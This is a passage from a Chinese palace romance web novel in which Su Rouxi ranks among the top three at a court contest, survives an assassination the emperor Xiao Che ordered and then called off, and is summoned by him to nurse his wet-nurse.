那就剩下太皇太后,陛下,哪位娘娘或哪位公主了…… 这些人中无论是谁都吓死个人了! 思及此,苏明霞当然依旧纠缠不休:“你说是不说!” 柔兮敛了神色,冷着脸再度无视了她。 先不说她不想与苏明霞说话,便是想与她说,也不能告诉她实情。 她自己都要吓死了,苏明霞听到了,以为自己不会被吓到么? 柔兮褪了衣衫,钻进被窝,直接将身侧了过去。 苏明霞大怒:“你!” 可眼下纵有怒气,也只能憋着:“小贱人,你给我等着,回府后,有你好看!” 柔兮早堵了耳朵。 她爱说什么说什么。 ********* 几近同时,景曜宫中。 夜阑人静,萧彻一身素色月白里衣,长身玉立,动作从容不迫,指尖捏着一把银柄小剪,正在修剪着案上的一盆松枝盆景。 镀金烛台上,琉璃灯盏中火光摇曳,明暗交错间,他垂眸的侧脸在光影里竟是更透着几分动人心魄的俊美。 人唇角噙着抹似有似无的笑。 这时,珠帘之外不知何时映出一个黑衣人影。 萧彻寒声:“进来。” 那人弯身称是,徐徐地进了来。 萧彻未曾转身,依旧在修剪着那颗松枝盆景,朝着黑衣人平平静静地开口。 “桌上那个人,明日,别让她痛苦。” 黑衣人拾起了桌上的一副画像,眼睛定在其上,仿若要将那人的模样死死地刻在脑中一般,转瞬躬身领命:“是。” 但听那帝王“嘶”了一声,改了主意。 “后日,明日放榜,让她,高兴一天再上路……” 黑衣人复又躬身,重新领命:“是。” 昏暗的烛火映在那桌上的画像上。 其不是别人,正是那苏柔兮。 萧彻神色不明,眼底晦暗,浸着薄情。 不错,是她。 他不想知道这是什么缘由,什么启示,她为什么会频频出现在他的梦里。 唯知道,他不喜欢这种失了掌控的感觉。 他要把这个扰他心神的女人,杀了。 13、第十三章 第十三章 为躲那苏明霞,跟苏明霞较劲,所有注意力都在苏明霞这边,破天荒,柔兮竟是没想那适才之事,捂住耳朵,闭着眼睛,迷迷糊糊地很快睡着,且一夜无梦,睡得极香极好。 翌日早膳过后,众女便被引出曲水轩,准备出宫了。 宫道上,长长的队伍蜿蜒整齐,规规矩矩,亦如来时一样,众女恪守宫规,安安静静地行着,没人敢有半分逾矩。 风轻抚,墨绿砖瓦映着晨光,脚步在寂静的宫苑中缓缓漾开。 柔兮融在众人之间,本满心满脑想的都是快点离开,除此之外,什么都未想,且是有意控制,特意不去想那个让她胆战心惊的男人,但就在这时,但听一声静鞭脆响划破熹微,晨空骤寂。 柔兮及着其它众女皆猛地顿住,心弦紧绷。 几名女官当即止住了众女前行的脚步,引着众女忙贴墙后撤,垂首屏息静立。 片刻,帝王仪仗脚步声渐近,墨色金龙步辇过处,腰刀轻叮,远远地,柔兮余光只扫了一眼,那男人身形颀长,一身龙袍,冠冕垂珠,倚坐其上,目光冷淡,威压如潮般漫来,未曾向两侧扫过分毫。 四下里万籁俱寂,只有脚步与风声。 好一会儿,仪仗方才行过。 经此一事,柔兮那强行被切断的思绪如脱笼之鸟,再也收之不住,呼吸渐急,脑海之中到底还是想起了那个男人,心中又开始翻腾了。 她有着一种很是不好的感觉,但又说不上是什么。 良久,众人终于出了皇宫。 接人的马车都停在了玄德门一里之外,沿着青石板路两侧排开。 丫鬟小厮们早遥遥地候在前边,踮着脚往宫门方向张望,等着自家小姐,见人出来了,个个脸上洋溢着笑,上前几步迎接。一时间人极多,极为热闹,也颇为混乱,但依旧没人敢大肆喧嚣。 柔兮等人混在人群中,找了好久才看到了自家人。 兰儿欢悦地朝着柔兮奔来。转眼十多日未见,两人满心都是牵挂,有无数的话想细说,但此处不宜久留,彼此只匆匆叮嘱了两句,就分了开。 柔兮上了马车,甫一落座,便觉车厢内的空气似凝了层薄冰,隐隐地有着股子火药味。 苏明霞与苏晚棠先她一步上来。 那苏明霞并未马上发作,但冷着脸面,摔摔打打,意味分明。 有她在中间搅着,柔兮分心,倒是能短暂地忘了那男人,也算是不幸中的万幸了。 柔兮知晓,只待马车跑起来,离着太和宫远了,苏明霞就会收拾她,就会把满肚子的火气全朝她撒出来。 柔兮没等她发作,率先说了话。 “若是我把你的所为告诉给爹爹,不知爹爹会如何?” 苏明霞听罢大怒:“小贱人!还敢威胁我是不是?!” 柔兮平平静静:“那要拜你所赐,你不搬石头砸脚,怎能被我抓住把柄?” “你!” 苏明霞满眼怒火,扬手便要往柔兮的脸上扇,被一旁的苏晚棠紧张地摁下。 “长姐……” 苏晚棠胆子要小得多,何况那事是实打实的错处,如今想起来仍心有余悸,后怕得很,若是闹到父亲面前,她二人绝对落不到好。 苏晚棠附在苏明霞的耳边低语了句:“长姐,忍了吧,避避风头……” 她所言不错,起码过段日子,避避风头。 眼下她三人刚从宫中回来,百花宴刚过,别的不说,还未放榜,这苏柔兮前三项都是“上上品”,要知道前三项都是“上上品”的,只有五人。历来如此,因着那棋技一项,输了就是输了,赢了就是赢了,只取每组第一,也算是厮杀出来的,不容小觑。 万一她真得了个前十次第,她爹更要偏袒她,于她二人就是火上浇油,还不如先让一步。 苏晚棠没说,但苏明霞知道她的意思。 提起那百花宴的考绩,苏明霞只觉心口堵着一团烈火,更是气得半死,妒忌得牙根都痒痒。 她就不信了,不就是前三项侥幸都得了“上上品”,不是还有三项尚未揭晓考绩,便是已经知道了的,那苏柔兮不是也有考得稀松平常的地方,还能真挤入那前十是怎么着! 想着苏明霞便讥讽了出来。 “以为自己有几分微末伎俩,拿了三个‘上上品’便目中无人,了不得了?我便不信你能踏进那前十的门槛!入不得,大家便都一样!你想借机会出风头,讨好爹爹,给那顾家看,一举成名,也不掂掂自己几斤几两?你做梦!大家都是白搭,都是竹篮打水一场空,谁也没比谁强!我劝你,不如趁早想点别的,想想自己就要吹了的婚事,想想自己嫁了康亲王怎么办吧!” 柔兮本安安稳稳,心如止水,一点都不在意苏明霞说什么。她后来的两项考绩是向别人谎报的,因着知道苏明霞会问。眼下苏明霞当然是爱说什么说什么,柔兮什么都不会放在心上,直到苏明霞又提起了那算命之事! 柔兮暗地里一下子攥上了柔荑,小眼神当即有变,面上故作镇静,无波无澜,但心里头不然,又被吓到了,心肝乱颤。 接着一路,俩人都再无交谈。 两个时辰后,返回苏家。 亦如出行那天,苏明霞被江如眉等人前簇后拥着接下来,一路热闹。 柔兮身边只有兰儿和小厮长顺。 瞧着虽冷清,但俩人也都颇欢跃,再见柔兮都甚开怀,为她前前后后,跑来跑去。 柔兮回到了房中先沐浴洗了澡。 按照惯例,今日午后申时就会放榜。 苏家自然早留了人在城中等候。 此番放榜,遍及皇都。上至翰林院的青石壁;中至文庙、书院;下至闹市彩楼、城门告示栏,各坊巷里,处处皆能见着。 柔兮心中惴惴,怀着紧张,心里头一堆事,眼下也都放了放,满心满脑,都在想着那最近一事…… ******** 苏明霞房中,暖阁熏香袅袅。 苏明霞抱着母亲江如眉的手臂,先是一阵子撒娇,后又讲起了这些日子在皇宫中的趣事,最后话匣子落到了苏柔兮的身上,屋中的气氛顷刻便跟着变了。 江如眉眉尖一挑,眼底淬着鄙夷:“前十?别抬举她了,纯属痴心妄想!” 心中更加愤愤:那个小贱蹄子分明吃了她掺药的饭菜,竟然过了阅选,真是邪门! 苏明霞哼了一声,满脸不服:“就是,女儿觉得也是,她哪里便好了,大家分明都差不多,前三项满贯很了不起么?后边不济一样白费力气,这就做梦入那前十次第,一举成名了,她可真不知廉耻,娘说她要不要脸?我呸,她要是能中,我便把手里的杯子吞下去!” 苏明霞的话仿若是刚说完,外边突然响起了一阵子急匆匆的脚步声,且是人未到,声先至。 “夫人,夫人!!” “中了,中了中了,夫人!” 屋中的江如眉,苏明霞与李嬷嬷听罢皆是心头一震,脸色骤变,瞬时凝住。 房门敞着,那小厮气喘吁吁地奔来。 三人皆是蒙的。 什么中了?谁中了? 她三人只顾着说话,知道这放榜与苏明霞无关,与她苏家无关,甚至都不知,过得这般快,不知不觉间已经过了申时。 小厮跌跌撞撞地奔进来,满头大汗,气息紊乱。江如眉伸手一把攥住他肩头,眼底似要喷火一般:“还不快说清楚,什么中了?谁中了?” 小厮几近是一口气跑回苏府,虽那放榜地点离着苏家并不远,但他跑的极快,此时已上气不接下气,弯腰喘了半晌,方才断断续续地说道:“三小姐……三小姐中了!” 江如眉三人顿时脑中“轰”地一声,不敢相信自己的耳朵,尤其是苏明霞,上前一步,声音发颤,大怒道:“你说她中了?入了前十?她入了前十?” 小厮用力点头,手中比出了个“三”字出来,声音中带着恍惚:“是,是芳婉!” 江如眉、苏明霞及着李嬷嬷三人听得这话,皆瞬时脸色煞白,心重重地一沉,口中连连:“不可能,这不可能!” 是啊,这怎么可能? 苏明霞已然傻了,眼前一黑,旋即反应过来,伸手抄起案上的青瓷花瓶,“咣当”一声便摔在了地上。 “啊!” 人当即便气哭了出来,大喊道:“不可能,这不可能,那个小贱人,怎么可能!!” 脚前脚后,就在这时,另一个小厮也奔了来。 “夫人,懿旨到了!” ********* 柔兮的消息是从谁那得来的? 是这后脚的懿旨。 没人给她去看放榜,换句话说苏家有人看了,消息也一时半会儿传不到她这。眼见着到了申时,柔兮没什么能做便在房中求佛祖保佑,保佑她入前十,哪怕是正好第十呢! 但却万万没想到,她,先等来了懿旨。 懿旨意味着什么? 意味着她中了前三! 前三!! 暖阳正好,廊下花枝轻晃,鸟鸣伴着花香绕在耳畔,柔兮乖乖巧巧地跪在地上,听着那公公读着懿旨,毫不夸张地说,她一会儿能听到声音,一会儿听不到,心口像揣了只乱撞的雀儿,“砰砰”声几乎盖过了一切,人是蒙的! 半个时辰后,她才渐渐地缓过来神儿。 小姑娘坐在房中,盯着自己桌上的那白花花的银子,微微歪着小脑袋,笑了好半天! 兰儿给她端来茶水,看她还在坐在那,笑问:“姑娘还没看够啊?” 柔兮摇头。 没看够,她当然没看够。 一百两呐! 她长这么大也没见过这么多银子! 兰儿打趣道:“这下姑娘有名了,今日怕是整个京城都在念着姑娘的名字。” 柔兮莞尔一笑,心里边美滋滋,她何止是有名了,也,也有钱了!。 正这时,院内传来脚步声,还未到门口,笑声已经传了过来,却是她爹苏仲平。 柔兮惊觉,不再看着银子傻笑,马上起了身,小眼神流转,朝外瞥去。 苏仲平负手进来,袍角随步履轻摆,眉宇间难掩笑意,目光落在柔兮身上,语气里满是欣慰: “为父竟是不知,我苏家女儿竟有这般才学,能在百花宴中赢得‘芳婉’美誉!真是可喜可贺!” 柔兮回道:“爹爹谬赞了。女儿能得‘芳婉’之名,一半是仰仗太皇太后与翰林院诸位大人的垂怜,另一半全靠爹爹家教有方,教女儿知书明礼、不怯场域,女儿不敢独揽这份荣光。” 苏仲平听罢,缓缓地笑了两声。 柔兮将苏仲平请入了坐。 扪心自问,柔兮觉得自己跟苏仲平很生疏。适才的那番话很客道,苏仲平也应一清二楚,俩人之间往昔有时几个月都不照一次面,生的甚至不那么像父女。 眼下像不像无所谓了,反正柔兮就要离开这个家了。 但她耍了个小心思。 终归是胆子小,柔兮很在意苏明霞口中的“算命一事”,是以一面乖顺地立在苏仲平的身后,给他捶背;一面也便主动引了话题,问了出来。 “爹爹哪日回来的?康亲王殿下的病可好了?” 苏仲平笑了两声:“你们走后的第三日为父方才回来,王爷醒了,这几日倒是好转了不少……” 柔兮眼睛转转,扪心自问,她自然不希望听到这些。她恨不得那康亲王一病不起,或是直接阳痿了,如此就不会一把年纪了还想着纳妾。 柔兮心口“扑通,扑通”乱跳。她想着事到如今,她已经得了“芳婉”,名扬京城了,不可能被顾家退婚,转而又被抬给那康亲王了吧。是不是意味着苏明霞的“算命一事”不攻自破,已经证明了那是假的,不会为真了? 柔兮不知道,但安全起见,她还是躲一躲更妙,以防江如眉,苏明霞再害她。 柔兮想搬出去住半年,但觉苏仲平不会答应。 她又是个待嫁姑娘,搬出苏府似乎也好说不好听,不是上策,不如以出去游玩为由,混一两个月,是一两个月。 念及此,柔兮也便说了出来。 她往前凑了两步,声音更加软和下来,眼底带着点怯生生的期待:“爹爹,女儿刚才还想着,先前为备百花宴闷在府中许久,如今榜事已了,倒想出去散散心。听说京郊玉泉山的秋菊开得正好,还有城南的清溪别院,传闻溪畔枫叶都红透了,若能去住上一两个月,看看山水、赏赏花草,既能松快松快,也能顺便寻些新鲜景致,往后做诗画画也多些灵感。您看,成么?” 出乎柔兮的意料,苏仲平听罢笑了两声,半分阻挠都未,当即便答应了去。 “有何不可?想去便去,但一两个月不成,玩个半个月,也便够了。一则你是待嫁姑娘,在外久居终究不妥;二则听闻顾世子这几日就要回来了,你,不想见见他?” 柔兮听得“顾世子”三个字,小脸当即染上云霞,给苏仲平揉肩的手都停顿了一下,嘴上没说,心里面点了无数次头。 想想想! 她,当然想! 她甚至想跟他说,能不能再早点娶她? 柔兮见好就收,马上答应了父亲。 半个月就半个月。 翌日,一大早柔兮便起了来,美滋滋地哼着小调,坐在妆台前梳妆打扮,心情大好。 今日,她要与兰儿去市集,裁几匹时新料子做新衣,挑些清甜的香粉、小巧的银饰。 贵些也不怕,她,有银子啦! 俩人加上长顺共三人,早早地便出了府,不仅买了极多的宝贝,还特意去了好几个放榜之地亲瞧了瞧自己的大名。 如此一过便是一小天,很快,夕阳西落,到了黄昏。 黄昏十分,她从最后一家想去的铺子出来,走在一个四下安静,无人的小巷子中,细软的小嗓子小声地哼着小调,正无忧无虑间,下一瞬,突然看到一个黑影一闪而过,旋即一只飞镖破空而来,正朝她心口! 14、第十四章 第十四章 柔兮瞳孔骤然放大,像是被一只无形的手攥住了呼吸,哼到一半的小调卡在喉里,只余一声细若蚊蚋的气音。人下意识往后急退半步,视线死死地锁着那枚泛着冷光的飞镖。 千钧一发,一切皆在倏忽须臾,甚至让她还没来得及反应,下一瞬,但听耳边一声铮鸣,那疾射而来的飞镖被另一枚暗器击偏落地,旋即又一道黑影,不知从何掠出。 两个人影目光交涉,顷刻交打在一起。 心便差一点没从口中跳出,柔兮脑中“嗡嗡”直响,一下子瘫坐在地上,人吓傻了一般,浑身僵着一动也不能动,但瞧那二人彼此相视,目光皆极为凛冽,但竟状似相识,转息间如鬼魅般一起倏然消失。 “三姑娘!!” 巷尾转角处忽有急促脚步声奔来,正是慢一步跟在后边的兰儿与长顺。 二人刚一转过便见柔兮瘫坐在地上,皆大惊,急慌慌地朝她跑去。 “三姑娘!这是怎么了,三姑娘!” 兰儿奔过,马上扶住了柔兮的手臂,将她搀起,但瞧姑娘的额上尽是汗珠,人还在恍惚间。 兰儿马上拿出帕子为她擦拭,声音中带着哭腔,急道: “发生了什么事?姑娘!” 长顺亦然,甚担忧:“姑娘到底怎么了?” 柔兮小脸煞白,乱了一会儿方才反应过来,神色慌张,唇瓣嗫喏,声音也甚慌乱:“我,我不知道,刚才有个人要……要……” 要杀她? 柔兮没说下去,顿了住。 一切皆发生在瞬息。 有人朝她射飞镖,有人挡下了那飞镖,俩人又分明是认识的。 她甚至不清楚,对方是不是要杀她? 是认错人了?还是那前者是个,失心疯? 柔兮不知道,也便没说下去。 兰儿俩看出了她被吓得不轻,也大致知道了是刚才有两个人出现在此,吓到了她,当下不再继续追问,赶紧扶着姑娘离开了此处。 没得一会儿柔兮上了车。 兰儿坐在她身边,一直握着她的手,轻声安抚安慰,只盼她别被吓坏了。 柔兮没被吓坏,她有知觉,有记忆,什么都懂,就是暂时说不出话。 思绪在脑海中乱窜。 那个男人是失心疯? 不,他不像。 他眼神凌厉,柔兮到现在还记得那双眸子,他绝不像什么失心疯。 所以,是有人要杀她? 谁要杀她? 柔兮细细地回想了一下近来发生的种种。 若说是因为那百花宴的次第,她惹了人妒忌?占了人的位置? 那也应该是放榜前对她下手,或许放榜前,她死了,后边的人便能取代她的位置。 断没道理在放榜后方才杀她,意义为何? 只是因为妒忌?柔兮觉得不大可能。 柔兮认识的人不多。除了江如眉母女,柔兮不觉得自己得罪过谁,但若说是江如眉,柔兮也觉不对,不说别的,便说那两个杀手,纵使不懂武学,柔兮也能看出,俩人身法鬼魅,皆是高手中的高手,断不是江如眉这种身份的人能驱使的。 所以,到底是谁要杀她? 一路,柔兮都恍恍惚惚,不知怎么到的家。 回到房中,柔兮便钻进了被窝之中,晚膳都没吃…… 思索了许久,最后得出了一个最可能的结论:自己怕是被误认了…… ******** 几近同一时候,乾清宫。 萧彻一身龙袍,负手背身立在书房,背影沉凝如岳。 屋内烛火明灭跳动,映得梁柱暗影交错;窗外月色清辉遍洒,已经入夜。 两名黑衣杀手静立在屋中,此时已摘去了蒙面黑巾,正是此前在城中暗巷相继现身的两人。 前者奉命杀人,候着奉命救人。 两则相悖命令,皆出自一人之手。 陛下素来雷厉风行、言出如山,既已颁下旨意,从未有过更改之例,是以先前二人相遇时,才会刀剑相向。 烛光映在萧彻冷峻的脸上。 不错,他悔了。 又,不怎么想杀了。 ******** 当夜,柔兮翻来覆去很晚才睡着,邻近睡着前,找到了颇为合理的理由,自己姑且说服了自己。但终是个胆小鬼,那事又实在太吓人,心有余悸,柔兮决定在家躲两天,先不出去玩了。 但她没躲上两天,方才躲了半天,下午,一则消息,晴天霹雳,比白日里见鬼了还可怕! 太皇太后传来口谕,召她入宫小住数日。 闻言宫中即将举行祭天、祭祖大典,需赶制大批祈福文书,故而不止召她一人,而是足足召了十名女子进宫。 原得天家垂青,能为皇室誊抄经文、筹备大典,是福分,是殊荣,是柔兮求之不得之事,但因为那男人…… 柔兮刚庆幸从皇宫之中出来,本想着再也不要见萧彻了,哪知方才过了两天,竟是又要入宫? 她与萧彻,云泥之别,一个在天上,一个在地上,若无意外,百花宴一过,她从宫中出来,他们便永远都不会再见,永远都不会再有瓜葛,怎地,难道还要让她再受一段心惊胆战的日子? 入宫,便有再见的可能,柔兮当真是想想就浑身冷汗,对此抵触不已。 尤其,顾时章就快回京了,夜长梦多,她实在是不想再见萧彻。 但,她哪有胆子违抗懿旨? 自己刚刚时来运转,得了太皇太后青眼,好不容易名声渐起,成了旁人艳羡的对象,怎能在这关头出半分岔子? 是以,就是再不愿,硬着头皮,她也得去。 眼下,唯盼着此番时日短一些,且是千万不要再见到萧彻了! 这一天很快过去。 翌日,她爹苏仲平特意与她同车,亲自送她入了宫,沿途叮嘱了她极多极多。 柔兮自然都知道。 到后,柔兮被安置在了含芳殿安等,待得人都到齐,方被女官引着去慈宁宫面太皇太后。 ********* 慈宁宫。 香炉中飘着细烟,紫檀架上并排放着几尊素雅的瓷瓶,屋中气韵沉静。 太皇太后唇边含着笑,倚靠在贵妃榻上休息,等着那十名奉召入宫的姑娘。 郑嬷嬷一面为她轻揉着肩头,一面笑着道:“陛下对本届百花宴的女子,倒颇为赏识。此番提出,让她们入宫誊抄经文,记得上一届,陛下对这些事,可是连问都未曾问过呢。” 太皇太后和蔼地笑:“他如今心思倒细了些。这些姑娘在花宴上出彩,字迹端方,用来誊抄祭典经文,倒也合宜。让她们多沾些宫中风雅,也是桩美事。” 郑嬷嬷眉眼弯了弯:“太皇太后说的是,这些姑娘能沾着宫中风雅,也是托了您和陛下的福,是她们的造化了。” 她话音刚落,珠帘之外走进了一位宫女。 宫女敛衽福身:“太皇太后,奉召的姑娘们已在殿外候着了。” 15、第十五章 第十五章 柔兮与众女入内,拜见了太皇太后。 此番再见不似前番殿前之时,无考绩之扰,氛境便和缓松快良多,少了此前的惴惴。 她随众行礼问安,问到她时便从容应答,未问之时,便莞尔静坐,温婉端庄,雅韵自生。 小半个时辰的光阴,倏忽而过。 出了慈宁宫,女官引着她十人到了后宫佛堂——净莲轩。 这净莲轩位于后宫北侧,是处僻静之地,离东西六宫较远,自然离着景曜宫、御书房也较远。为时半月,众女日常起居,抄经都在此,无要事与召见不得出去。 知晓后,柔兮略微松了口气。 她肯定是不会出去。 女官给几人安置了住处。 几人俩俩一间房,柔兮和那排名第四的廖素素一间。 人是国子监博士家的女儿。 再见她,柔兮特意好好地瞧了瞧她,因着昨日那刺杀之事,柔兮多少还是心有余悸,若是因为此番百花宴的次第,最有可能向她动手的人就是这廖素素。 但她前看后看,左看右看,都不像。 先不说人家出身书香门第,家父素以恬淡不争、温润如玉闻名,单说这廖素素,她瞧着总是带几分天然的憨态,眉眼间透着股子天真,入了宫后比她还甚,整日惴惴,生怕自己犯错,胆子分分明明比她还小呢? 柔兮觉得,不可能是她…… 所以,昨日那事就算为真,真有人要杀她,这个人大概率也不是因为百花宴的缘故。 柔兮点到为止,毕竟害怕,想想也便不想了,没得一会儿又没心肺地把事情抛之脑后,忘记了。 当天,众女只歇息,并未开始抄经,第二日一早一切方才步入正轨。 此番祭天、祭祖大典,祈愿不外“国运昌宁、圣体康泰、皇室绵长”三桩。所选经文依此心意,定为《金刚经》、《心经》、《华严经》三部。 众女每日抄经前,需先以香汤净手,再于佛前燃一炉檀香,待心定气平、满含虔诚,方可提笔。 经文抄写更容不得半分轻慢,字字需工整端方,若有一笔错漏、一处涂改,便要从头誊抄。好在课业有分寸,每人每日只需完成五百字便可。 第一天很安稳地过去。 柔兮很是满意,但觉自己来前多虑了,不过是写写字,抄抄经书,是她擅长也愿意做的事,十五日不算什么,还正好躲了那江如眉母女,待得回去再出去游玩十五日,一个月不就混过去了,简直没有比之再好。 但她万万没有想到,第二日,便生了变化! 第二日午后,暖煦盈庭,微风不疾不徐。 她如前日一样,小憩过后,到了佛堂主殿西侧的静室,与众女一起净手燃香,准备开始下午的抄写。 然刚刚入座,还未拾笔,净室之外便走进一位宫女。宫女直径朝她走来,到了她的身边,在她耳边小声地道了话语: “柔兮姑娘,外边有人找您。” 柔兮听罢一怔,转头对上宫女的视线,心中狐疑。 有人找她?这是什么地方?怎会有人找她? 但也未耽搁太久,深知眼下能进这净莲轩的人都不是一般人。 柔兮点了下头,而后便慢慢起身,跟着那宫女出了去。 外边廊道上等着她的是另一个宫女,柔兮不认得,只知人不是净莲轩的人,走近没待她问,那宫女朝她缓缓一福,已然开口: “柔兮姑娘,陛下有旨,传您即刻觐见。” 脑中顿时“嗡”地一声,一片空白,柔兮下意识脚步一滞,人都傻了,眼睛半晌未转,盯着那宫女,自是万万没想到,指尖攥着的绢帕骤然收紧,小声道: “陛下?传我?” 宫女应声点头:“是,柔兮姑娘,柔兮姑娘请吧……” 柔兮心里慌乱不已,睫羽连颤了两下,心口狂跳,汗从额际上渗出,抬手用帕子悄悄地拭了下。 她当然不愿去,有着一万个不愿的理由。 萧彻唤她做什么?这男人到底要干什么?上次在他寝宫中的场景,柔兮到现在还记得一清二楚。她拘谨害怕的要死,当真是怕什么来什么。 但她能违抗皇命么? 自然不能,只能硬着头皮。 想想,柔兮抬了脚步,抬帕子又拭了试汗,应了一声,跟在了宫女的身后,转眼,与那宫女出了佛堂,朝着御书房去了。 不知过了多久,俩人到了地方。 宫女停在门口,朝她道:“柔兮姑娘,陛下正在殿上等您。” 柔兮应声,立在那缓了须臾,终是抬步迈了进去。 大殿上很静,落针可闻,柔兮转过屏风,微低着小脑袋,慢慢朝前,进来时余光瞧见那男人状似在看书。 行至中间,她跪了下去。 “臣女拜见陛下。” 过了一会儿,她方才听见合书的声音,与此同时,那男人也张了口:“起来吧。” 声音依旧十分冷淡。 柔兮谢过,徐徐起身,小心翼翼地朝他看了一眼。 但瞧那男人眸子冷冽如霜,单臂搭在桌案上,修长的手指漫不经心地轻叩着案角,正垂眼朝下眯着她。 柔兮心头一紧,只觉周身气压骤降,慌忙垂首敛目,再不敢看他。 这时,萧彻的声音又冷不丁响起:“你父,是苏仲平?” 柔兮马上恭敬地回答:“回陛下,正是家父。” 萧彻指尖仍有一搭无一搭地轻叩桌案:“懂医术么?” 柔兮不敢含糊,认认真真地作答:“家中医术素来传男不传女,臣女资质浅薄,并未习得。” 萧彻声音再起:“会侍疾么?” 柔兮一怔,听罢缓缓地抬了眸去,又一次对上了那男人冷冰冰的视线,唇瓣微微嗫喏,但还没待说出话来,萧彻已然转了视线,抬手从容不迫地掸了下衣袖上刚从外飘落而来的半点茉莉残蕊。 “今日起,不必再回净莲轩誊抄经文。北宫静颐居的荣安夫人近来身体微恙,你,去侍候她。” “陛……” 柔兮的心当即一沉,瞬时心中仿若涌上千层浪,开口刚要再说什么,那男人已经抬手下令,有宫女过来请了她。 “苏姑娘这边……” 柔兮蒙了一下,到底是没敢说话,不一会儿稀里糊涂地被宫女带了出去。 她这才反应过来,朝着那宫女问道:“荣安夫人是……?” 宫女引着她前行,解释道:“回苏姑娘的话,荣安夫人是陛下的乳母。” 柔兮恍然,但依旧满心满脑的慌乱,慌张。 她觉得甚是不对。 自己是奉太皇太后懿旨来宫中誊抄经文的,为什么突然要让她去侍疾? 虽说那荣安夫人是皇帝的乳母,即是得了皇帝的照拂,还被封了夫人,身份尊贵与否可想而知,必然是尊贵的,但她和众人是一起来的,是百花宴中择选出来的,此番是因着精通书法方才又被召进宫中的,让她去侍疾是何意思? 何况,她已明确告诉了萧彻,自己不懂医术? 侍疾,非,非用她么? 用她的意义为何? 柔兮心潮翻涌,喘息微急,小脸冷白,一阵阵冒着冷汗,潋滟秋眸中满是惊慌,不死心一般,没一会儿又朝那领路宫女颤声问了话: “就,就我一人么?还有旁人么?净莲轩中,还,还有旁人也来么?” 宫女颇为为难:“回苏姑娘的话,这个,奴婢不知。” 柔兮这才稍微冷静了一些。 是啊,她只是一个奉命行事,为她引路的宫女,如何能知晓这些。 柔兮心中再难平静。 就这样,她被带到了北宫静颐居。 北宫本是前朝太妃颐养之所。 先帝在时,后宫佳丽三千,妃嫔极多。 然其崩后,诸妃无一人留居此处,究其根由,盖因当今太后,昔日先帝之继后,性情果决,善妒。她不许,便没人能留下。 是以北宫颇为冷情,宫娥太监往来者寥寥,为今只有荣安夫人居住在此。 柔兮被带进去,见了荣安夫人。 人年将半百,眉宇间带着几分温和,被皇帝护起来,悉心奉养,周身气度确是与旁人大不相同,虽不及太皇太后那般尊荣赫赫、雍容盛极,周身却也透着几分养尊处优的贵气,只是面色间病气难掩,纵是比太皇太后年轻十几岁,因着身子骨虚弱,气色也远不及太皇太后。 柔兮拜见了她,略述自己,提及了家父与出身,言明了陛下让她来侍疾,未言百花宴一事。 荣安夫人很和善,让人给她安置了住处,柔兮就这样稀里糊涂地,一日之间差事骤变,从誊抄经文,变作了为荣安夫人侍疾。 一下午很快过去,待得荣安夫人歇息,睡着了,柔兮回到了自己的卧房。 卧房与主房相距不远,内里陈设雅致,起居甚适,且是一人独住,倒比先前在净莲轩时自在些,但她心中有落差,相比于那落差,更是惴惴不安,总有着一股子极其不好的感觉。 这份预感未及入夜便应验了。 因为,黄昏初临,便有人大驾,那人不是别人,正是君主萧彻! 16、第十六章 第十六章 前脚刚知道他来,后脚便有人来唤她。 柔兮本不想出去,因为太监没通报,那男人也是径直进了主房。 既是没有通报,柔兮在偏房,假装睡着了不知他来了也说得过去,毕竟他来的动静不大,但既是有人来告诉了她,她便不能再如此。 柔兮应了声,极不情愿,却也只能装作情愿。 她出门,快步到了主房。 进去,柔兮便看到了萧彻的身影。 男人一袭龙袍,立在厅堂,珠帘之外。 确切地说,是厅堂正中。 卧房内侍候的宫女拨帘出来,到了皇帝身前,俯下身去,小声道:“陛下,荣安夫人睡下了。” 那男人一言没发,柔兮在后眼睁睁地瞧着,他侧过头来,朝着身后的她瞥了一眼。 柔兮心口顿时一紧,强压着悸动,赶紧上前两步,到了他身侧,欲要解释,她侍候了一下午,荣安夫人睡着了她才下去歇息的,亦要跟他汇报一下午荣安夫人的情况。 然,到后抬了脸刚对上那男人的视线,柔兮便一下子顿住,心跳都仿若停了半拍,到了嘴边的话登时全忘了,大脑中一片空白,只剩下了惧怕。 不仅是惧怕,还有着些别的什么。 她浑身上下,从头到脚,“刷”地一下烧了起来,呼吸都跟着急了几分。 因为,她分分明明地看到了他的眼睛,看到了他对她肆无忌惮的目光。 他看她的眼神,不对劲。 虽然接触过的人不多,见过的男人就更少,但女子有着女子的本能直觉,柔兮对男人也稍微有着那么一点点的了解,她能分辨得出什么是正常的目光,什么是,不正常的目光。 以前她出门在外的时候,没少遇上对她起过色心的纨绔子弟,去年江如眉的侄子江允在苏府住过几个月,他们看她的眼神都不甚对劲,都能让柔兮感知到点什么。 但无论是那些个陌生的贵公子,还是江允,都要隐晦得多,也都要讨好得多。相比之下,萧彻没有半丝遮掩,更毫无讨好,目光嚣张至极,高高在上,光明正大,且是充满着狎戏之感。 一种,冷漠的狎戏之感。 加之那个梦,此番他来的又如此敛迹,柔兮心中的那股子不好的预感更加分明。她好像是有点知道,他单独安置她在这北宫伺候荣安夫人的用意了。 那些个梦会不会其实是什么预示? 柔兮第一次生出这样的想法,浑身战栗,一时之间更是一句话也说之不出。 俩人体量悬殊,柔兮还不到他肩头。 眼下咫尺距离,他逼视下来的那股子压迫之感让她腿弯直软,几乎要撑不住身子,一动亦是动弹不得,僵硬了一般,便是连头都低不下了。 若说失仪,柔兮清楚,眼下,直视天颜,良久。 这才是更大的失仪。 唇瓣嗫喏了一下,她终于断断续续地道出了话语,没有旁的内容,木然,僵硬,语无伦次,小声地道着荣安夫人一下午的情况。 话将将说完,那男人捏住了她的脸,迫使她更靠近了他一丝,盯着她潋滟的眸子,用着只有他二人能听到的声音,轻描淡写地只道了几个字。 “朕给你,三日时间。” 话音甫落,松开了人,眼神淡漠,又看了她一眼,转身离去。 柔兮瞳孔大放,呼吸骤然凝滞在喉间,连气都喘不匀,只觉得方才被他捏过的脸颊还在发烫,指尖冰凉,微微颤抖。 适才的宫女不知什么时候被他退了下。 若非珠帘之后还有着人,柔兮必然会撑不住,腿软的就要站不稳。 她呼吸急促,在屋中停滞了良久,眼神飘忽不定,缓了良久。但觉那男人已经出了静颐居,她方才敢动。 走出正房,她几近是跑回了自己的屋子,进门后立马插了房门,背身倚靠在门板上,心口擂动如鼓,震得耳膜嗡嗡作响,脑中乱成一团浆糊,无数念头交织碰撞,头要炸了。 给她三日时间是什么意思? 给她三日时间学习怎么侍候荣安夫人么? 柔兮好像十分清楚他大抵并不是这表面意思,却像落水,即将要被淹死之人,拼命地挣扎,怀着最后的求生欲。 